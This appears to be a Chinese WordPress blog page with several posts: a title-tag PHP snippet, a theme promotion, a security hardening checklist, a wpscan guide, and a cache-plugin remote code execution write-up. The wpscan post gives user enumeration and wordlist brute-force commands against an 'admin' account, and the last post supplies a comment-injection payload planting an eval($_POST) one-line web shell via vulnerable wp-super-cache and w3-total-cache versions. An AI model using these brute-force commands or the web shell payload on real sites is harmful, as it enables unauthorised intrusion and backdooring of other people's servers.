博客

  • WordPress利用自定义域优化<title>标签

    很多默认的wordpress主题没有对<title>标签做过优化,要么就是下载比较流行的wordpress插件All in One SEO Pack下载来实现<title>的优化的,但是对于小编来说安装wordpress插件方便我们的同时也可能会多加了一些安全隐患并且使用插件过多对我们的程序冗余也会变慢,我们仍然可以通过自定义字段来解决此问题。
    打开header.php文件,找到<title>标签,并将其替换为下面的代码:
    [code]<title>
    <?php if (is_home () ) {
    bloginfo(‘name’);
    } elseif ( is_category() ) {
    single_cat_title(); echo ‘ – ‘ ; bloginfo(‘name’);
    } elseif (is_single() ) {
    $customField = get_post_custom_values(“title”);
    if (isset($customField[0])) {
    echo $customField[0];
    } else {
    single_post_title();
    }
    } elseif (is_page() ) {
    bloginfo(‘name’); echo ‘: ‘; single_post_title();
    } else {
    wp_title(”,true);
    } ?>
    </title>[/code]
    之后,在你想单独为某文章自定义title标签时,只要创建一个自定义字段title,为它赋值就OK了。
    这段代码使用不同模板标签分别为首页, 分页, 目录页及博客文章各生成一个自定义的<title> 。如果当前页面是一篇博客文章,代码会寻找自定义字段title。如果找到了,就会显示自定义字段中的值,反之,显示标准的single_post_title() 生成的标题,其他wordpress优化文章

  • wordpress中文主题 cms中文ytSimple女性主题

    主题色调为粉红色很明显是偏向于女性群主为主而制作的wordpress中文主题,ytSimple主题使用常规的布局方式,符合国人的审美习惯,采用的是CSS+DIV网页布局兼容大部分浏览器,同时也根据了seo进行优化操作。
    主题有居家女性的风格很受欢迎。
    ytSimple
    wordpress中文主题下载

  • wordpress安全设置

    最近老是看到wordpress网站被黑客入侵,看来在这方面上很多站长根本没有防范的意识一旦建立好网站就丢弃不管了。之前有写过一篇《wordpress安全与防范》的文章,这里想在做个补充完善wordpress安全,很多站长都这么认为wordpress使用广泛安全自然也到位没必要做安全设置,其实错了在互联网上没有完美的安全程序,其实别紧张一般站长只要做到以下的安全设置基本就可以防御绝大多数小黑了。

    1、及时更新升级WordPress到最新版本

    一般来说,新版本的WordPress安全性都会比老版本要好一些,并且解决了已知的各种安全性问题,特别当遇到重大的版本升级时,新版本可能会解决更多的关键性问题。(例如老版本WordPress有remv.php重大漏洞,可能会导致遭受DDoS攻击,升级到最新2.7版本可解决这个问题)

    2、隐藏WordPress版本

    编辑你的header.php模板,将里面关于WordPress的版本信息都删除,这样黑客就无法通过查看源代码得知你使用的是什么样的版本这样他们就不好对你下手,因为不同的版本要针对不同的入侵方式攻击。

    3、更改默认WordPress用户名

    每个黑客都知道WordPress的管理员用户是admin,具有管理员权限,会攻击这个用户,那么你需要创建一个新用户,将其设置为管理员权限,然后删除老的admin帐号,这就能避免黑客猜测管理员的用户名,等于给黑客多设置了一道防火墙。

    4、更改WordPress用户密码

    安装好WordPress后,系统会发送一个随机密码到你的信箱,修改这个密码,因为这个密码的长度只有6个字符,你要将密码修改为10个字符以上的复杂密码,并尽量使用字母、数字、符号相混合的密码。

    5、防止WordPress目录显示

    WordPress会默认安装插件到/wp-content/plugins/目录下,通常情况下直接浏览这个目录会列出所有安装的插件名,这很糟糕,因为黑客可以利用已知插件的漏洞进行攻击,因此可以创建一个空的index.html文件放到这个目录下,当然,修改Apache的.htaccess文件也可以起到相同的作用。

    6、保护wp-admin文件夹

    你可以通过限定IP地址访问WordPress管理员文件夹来进行保护,所有其他IP地址访问都返回禁止访问的信息,不过你也只能从一两个地方进行博客管理。另外,你需要放一个新的.htaccess文件到wp-admin目录下,防止根目录下的.htaccess文件被替换,另外一种方法是修改wordpress后台登录地址这里有介绍《修改wordpress后台-自定义后台登入地址》。

    7、针对搜索引擎的保护

    很多WordPress系统文件不需要被搜索引擎索引,因此,修改你的robots.txt文件,增加一行Disallow: /wp-*具体可以参考《robots.txt禁止搜索引擎抓取的方法

    8、安装Login Lockdown插件

    这个插件可以记录失败的登录尝试的IP地址和时间,如果来自某一个IP地址的这种失败登录超过一定条件,那么系统将禁止这一IP地址继续尝试登录。

    9、WordPress数据库安全

    数据表最好不要使用默认的wp_开头修改wordpress表前缀wp_,安装数据库备份插件,无论做了多少保护,你还是应该定期备份你的数据库,使用WordPress Database Backup等插件可以实现数据库的定期备份。

    10、安装Wordpress Security Scan插件

    这个插件会自动按照以上的安全建议对你的WordPress进行扫描,查找存在的问题,使用较为简单。

  • wordpress入侵利用工具

    wordpress程序在全球使用率很高自然少不了黑客们入侵的目标,也随之出现针对入侵wordpress的利用工具。
    这里介绍一个专门检测wordpress漏洞的利用工具wpscan。
    以下是使用的数据记录:
    经验心得如下!
    这个工具无法直接用命令,需要进入到usr/bin文件夹中运行!
    第一步,打开终端
    输入cd /usr/bin
    第二步,运行wpscan
    在usr/bin 终端中输入命令。 wpscan -h
    Help :
    Some values are settable in conf/browser.conf.json :
    user-agent, proxy, proxy-auth, threads, cache timeout and request timeout
    –update Update to the latest revision
    –url | -u The WordPress URL/domain to scan.
    –force | -f Forces WPScan to not check if the remote site is running WordPress.
    –enumerate | -e [option(s)] Enumeration.
    option :
    u usernames from id 1 to 10
    u[10-20] usernames from id 10 to 20 (you must write [] chars)
    p plugins
    vp only vulnerable plugins
    ap all plugins (can take a long time)
    tt timthumbs
    t themes
    vt only vulnerable themes
    at all themes (can take a long time)
    Multiple values are allowed : ‘-e t,p’ will enumerate timthumbs and plugins
    If no option is supplied, the default is ‘vt,tt,u,vp’
    –exclude-content-based ‘’ Used with the enumeration option, will exclude all occurence based on the regexp or string supplied
    You do not need to provide the regexp delimiters, but you must write the quotes (simple or double)
    –config-file | -c Use the specified config file
    –follow-redirection If the target url has a redirection, it will be followed without asking if you wanted to do so or not
    –wp-content-dir WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed
    –wp-plugins-dir Same thing than –wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed
    –proxy <[protocol://]host:port> Supply a proxy (will override the one from conf/browser.conf.json).
    HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported. If no protocol is given (format host:port), HTTP will be used
    –proxy-auth Supply the proxy login credentials (will override the one from conf/browser.conf.json).
    –basic-auth Set the HTTP Basic authentification
    –wordlist | -w Supply a wordlist for the password bruter and do the brute.
    –threads | -t The number of threads to use when multi-threading requests. (will override the value from conf/browser.conf.json)
    –username | -U Only brute force the supplied username.
    –help | -h This help screen.
    –verbose | -v Verbose output.
    Examples :
    -Further help …
    ruby /usr/bin/wpscan –help
    -Do ‘non-intrusive’ checks …
    ruby /usr/bin/wpscan –url www.example.com
    -Do wordlist password brute force on enumerated users using 50 threads …
    ruby /usr/bin/wpscan –url www.example.com –wordlist darkc0de.lst –threads 50
    -Do wordlist password brute force on the ‘admin’ username only …
    ruby /usr/bin/wpscan –url www.example.com –wordlist darkc0de.lst –username admin
    -Enumerate installed plugins …
    ruby /usr/bin/wpscan –url www.example.com –enumerate p
    -Enumerate installed themes …
    ruby /usr/bin/wpscan –url www.example.com –enumerate t
    -Enumerate users …
    ruby /usr/bin/wpscan –url www.example.com –enumerate u
    -Enumerate installed timthumbs …
    ruby /usr/bin/wpscan –url www.example.com –enumerate tt
    -Use a HTTP proxy …
    ruby /usr/bin/wpscan –url www.example.com –proxy 127.0.0.1:8118
    -Use a SOCKS5 proxy … (cURL >= v7.21.7 needed)
    ruby /usr/bin/wpscan –url www.example.com –proxy socks5://127.0.0.1:9000
    -Use custom content directory …
    ruby /usr/bin/wpscan -u www.example.com –wp-content-dir custom-content
    -Use custom plugins directory …
    ruby /usr/bin/wpscan -u www.example.com –wp-plugins-dir wp-content/custom-plugins
    -Update …
    ruby /usr/bin/wpscan –update
    See README for further information.
    选项过多,不一一解释。 挑选几个常用的命令
    wpscan –url http://testurl/ 检测常用插件
    wpscan –url http://testurl/ -e 全面检测
    wpscan –url http://testurl/ -e u 检测用户
    wpscan –url http://testurl/ –wordlist 字典(如果下载到桌面,则是/root/Desktop/字典.txt) –username admin (这里填写之间检测到的用户) 暴力PJ密码!
    全面检测中会检测到一些XSS或者SQL注射类的漏洞,会用红色的字体显示,并有漏洞详细信息的链接!
    其他的功能大家慢慢发觉! 搞wordpress 非常有用的工具!

  • wordpress缓存插件可执行远程代码漏洞

    存在漏洞的插件名称及版本:
    1.wp-super-cache 1.3以下版本
    2.w3-total-cache 0.9.2.9以下版本
    这两个插件的漏洞官方已经修复…..
    漏洞原理是缓存插件在生成一个页面的新缓存时,解析了PHP代码片段。我们将PHP代码写入到目标的文章评论中,当缓存更新后,就可实现插入后门等行为。
    两种插件都已测试,都能成功….
    利用方法:
    在评论的地方插入如下代码:


    /*base64加密的诸如*/eval($_POST[“i0day”]);/*一句话后门可在这里被执行*/
    /*可以利用fopen生成一句话….
    测试phpinfo截图:
    201342914511929946
    wordpress程序本身的安全性很高,但是wordpress插件方便完善我们网站的同时也给我们网站带来了隐患,只要做到及时更新插件即可尽量避免受到黑客攻击。